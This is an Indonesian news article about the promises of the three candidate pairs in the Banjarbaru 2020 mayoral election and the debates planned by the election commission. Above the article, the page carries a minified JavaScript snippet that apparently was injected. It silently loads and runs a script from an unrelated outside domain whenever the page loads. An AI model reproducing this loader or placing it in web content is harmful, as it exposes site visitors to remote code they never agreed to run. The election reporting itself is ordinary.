(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Keputusan KPU mempertemukan 3 pasangan calon (paslon) Pilkada 2020 di Kota Banjarbaru dalam debat tatap muka, menjadi momentum krusial di tahapan masa kampanye yang berlangsung hingga 5 Desember mendatang.
Penting bagi masing-masing paslon menyiapkan amunisi berupa program unggulan serta mengangkat isu-isu strategis, demi menarik perhatian publik Banjarbaru dalam gelaran debat nantinya.
Untuk itu, Kanalkalimantan.com lebih dulu akan mengulas “janji-janji politik” yang ditawarkan ketiga paslon, dalam menentukan nasib kota berjuluk Idaman selama 4 tahun ke depan.
ISKANDAR-IWANSYAH
Paslon nomor urut 1 yakni duet Gusti Iskandar Sukma Alamsyah – AR Iwansyah, memiliki setidaknya 10 program prioritas demi mewujudkan visi misi mereka.
Ditemui Sabtu (17/10/2020) sore di kediamannya, Calon Wali Kota Banjarbaru, Iskandar menyampaikan bahwa dalam berbagai program yang diusulkann, salah satu sektor utama menyangkut para ASN di lingkungan Pemerintah Kota (Pemko) Banjarbaru.
“Kita ingin menjadikan ASN di Banjarbaru yang kuat dalam rangka memberikan pelayanan kepada masyarakat. Proses rekrutmen ASN itu, kita menggunakan yang namanya kompetensi dan merit sistem. Jadi di lingkungan ASN tidak yang namanya ada kelompok ini atau kelompok itu, tapi orang-orang berkompetensi. Di mata saya sebagai paslon, semua ASN adalah orang-orang yang unggul,” katanya.
Selain itu, Iskandar mengungkapkan program unggulan lainnya ialah di bidang infrastruktur. Ia mendorong pembangunan infratruktur dalam rangka memberikan lapangan kerja bagi masyarakat. Insfratruktur yang dimaksudnya dikombinasikan dengan padat karya dan teknologi.
“Infrastuktur yang kita bangun juga menjadi aksesbilitas semua wilayah untuk memberikan rangsangan pertumbuhan ekonomi baru di Banjarbaru. Jadi jangan di suatu daerah memproduk ekonomi, tapi tidak punya aksesbilitas yang akhirnya malah numpuk di satu titik,” lanjutnya.
Selain itu, paslon berjargon “Kawan Kita” ini juga membuat berbagai program di sektor kesehatan dan pendidikan. Contohnya, peningkatan ketersediaan sarana dan prasarana kesehatan dan pemberian insentif bagi tenaga kesehatan. Lalu, penyediaan materi belajar secara luring dan daring. Serta memberikan beasiswa kepada santri beprestasi yang berasal dari keluarga tidak mampu.
ADITYA-WARTONO
Di nomor urut 2 yakni paslon Wali Kota dan Wakil Wali Kota Banjarbaru, Aditya Mufti Ariffin – Wartono, memiliki 5 program yang disebut sebagai “Program Juara”.
Calon Wali Kota Banjarbaru, Aditya mengungkapkan di antara ke 5 program tersebut, salah satu yang paling digaungkannya ialah RT Mandiri. Program itu, kata Aditya menjadi komitmenya bersama Wartono dalam membangun kota Banjarbaru dari lingkup pemerintahan terkecil.
Teknis dari program RT Mandiri, jelas Aditya, seraya layaknya program dana desa dan dana kelurahan. Tatkala dirinya terpilih menjadi Wali Kota Banjarbaru, ia akan menyiapkan dan mengalokasikan anggaran yang khusus diperuntukan ke semua RT yang ada di Banjarbaru.
“Nah, dana yang kita alokasikan itu dapat digunakan RT untuk berbagai kegiatan. Contohnya seperti biaya operasional, pembangunan sarana dan prasarana, kegiatan sosial dan keagamaan,” paparnya.
Tak hanya soal peningkatan di lingkungan RT, Aditya mengklaim bahwa program ini juga sekaligu meningkatkan pertumbuhan ekonomi di Banjarbaru. Bersamaan pula, dengan mengurangi jumlah pengganguran.
“Dengan adanya program RT Mandiri ini, semakin banyak pelaku UMKM yang berkembang dan bertumbuh. Apalagi produk-produk hasil UMKM di Banjarbaru itu berpotensi besar masuk ke pasar nasional. Hal ini pula yang membuat semakin terbukanya lapangan pekerjaan di masyarakat,” jelas Aditya.
Selain program RT Mandiri, Aditya – Wartono juga menawarkan 4 program lainnya yang mencangkup berbagai sektor. Seperti, pemberian beasiswa pendidikan tinggi diperuntukan kepada jenjang S1, S2, S3 eksak, non eksak, dan agama untuk masyarakat yang membutuhkan.
Lalu, peningkatan kesejahteraan baik itu UMKM, Honorer, pegawai kontrak, serta para ASN di lingkungan Pemko Banjarbaru. Adapula peningkatan sarana pendidikan, mencangkup prasarana sekolah umum dan sekolah agama, serta kesejahteraan guru agama.
MARTINUS-JAYA
Di nomor urutan buncit atau nomor 3, yakni duet Haji Martinus – Darmawan Jaya Setiawan, yang memiliki sebanyak 11 program.
Seluruh programnya itu didominasi aspek peningkatan. Yakni peningkatan layanan disabilitas dan kebutuhan khusus, peningkatan pertanian perkotaan, peningkatan apresiasi seni budaya, hingga peningkatan sektor layanan masyarakat dengan Mall Pelayanan Publik.
Dalam topik ini, Ketua Tim Pemenangan Emi Lasari yang angkat bicara saat ditemui Kanalkalimantan beberapa waktu lalu. Dijelaskan Emi, seluruh program yang diusung tersebut merupakan komitmen Haji Martinus – Jaya dalam melanjutkan visi misi almarhum Nadjmi Adhani -Wali Kota Banjarbaru periode 2016-2020-.
“Kami sepakat melanjutkan pembenahan terhadap program-program yang sudah ada. Salah satunya progam almarhum Nadjmi Adhani yakni pendidikan berkarakter. Di program yang kami usulkan, adalah pemberian beasiswa bagi anak-anak beprestasi dan tidak mampu,” ujarnya.
Dijelaskan Emi, program tersebut menjadi unggulan, mengingat kondisi ekonomi saat ini terpuruk akibat dampak pandemi Covid-19. Hal itu tentunya sangat menyulitkan kondisi ekonomi banyak pelajar di Banjarbaru.
“Kita ingin kelanjutan pendidikan berkarakter untuk menjaga kualitas sumber daya manusia (SDM) yang mumpuni. Tapi disituasi ini, kita sedang fokus dengan bantuan karena situasi wabah. Maka dari itu kita berbicara soal beasiswa. Kita tidak ingin anak-anak kita putus sekolah. Dan pemberian beasiswa ini adalah solusinya,” imbuhnya.
Tak hanya beasiswa, Haji Martinus – Jaya juga turut mengadopsi progran turunan dari almarhum Najdmi Adhani, berupa pembangunan rumah tahfiz dan pemberian apresiasi siswa tahfiz Al-Quran.
Hingga kini, KPU Banjarbaru belum mengumumkan kapan dilaksanakan debat tatap muka 3 paslon di Pilkada Banjarbaru. Namum berdasarkan informasi terkahir, debat akan diselenggaran pada November mendatang.
Agenda debat tiga paslon di Pilkada Banjarbaru akan digelar sebanyak 3 kali. Untuk debat pertama mempertemukan antar sesama Calon Wali Kota Banjarbaru. Debat kedua antar Calon Wakil Wali Kota Banjarbaru. Lalu, puncaknya di debat ketiga mempertemukan para Calon Wali Kota dan Wakil Wali Kota sebagai satu pasangan.
Dalam tahapan debat nantinya, KPU Banjarbaru telah menyiapkan 6 tema yang dibahas oleh para kandidat. Yakni;
peningkatan kesejahteraan masyarakat, memajukan daerah, peningkatan layanan kepada masyarakat, penyelesaian persoalan daerah, menyerasikan pelaksanaan pembangunan daerah Kabupaten Kota dengan nasional, memperkokoh kesatuan negara republik indonesia.
“Selain 6 materi debat itu, kita juga menyiap materi khusus. Yaitu tentang kebijakan dan strategi penanganan pencegahan pengendalian Covid-19. Nah, ketiga paslon dapat beradu gagasan dan tindakan untuk bisa menangani Covid-19 dalam materi ini,” ujar Ketua KPU Banjarbaru, Hegar Wahyu Hidayat. (Kanalkalimantan.com/rico)
Reporter: Rico
Editor: Cell
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) H Muhidin merespon kebijakan pemerintah pusat terkait Opsen… Read More
Solusi Hemat Listrik Ramah Lingkungan di Sekolah Read More
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
This website uses cookies.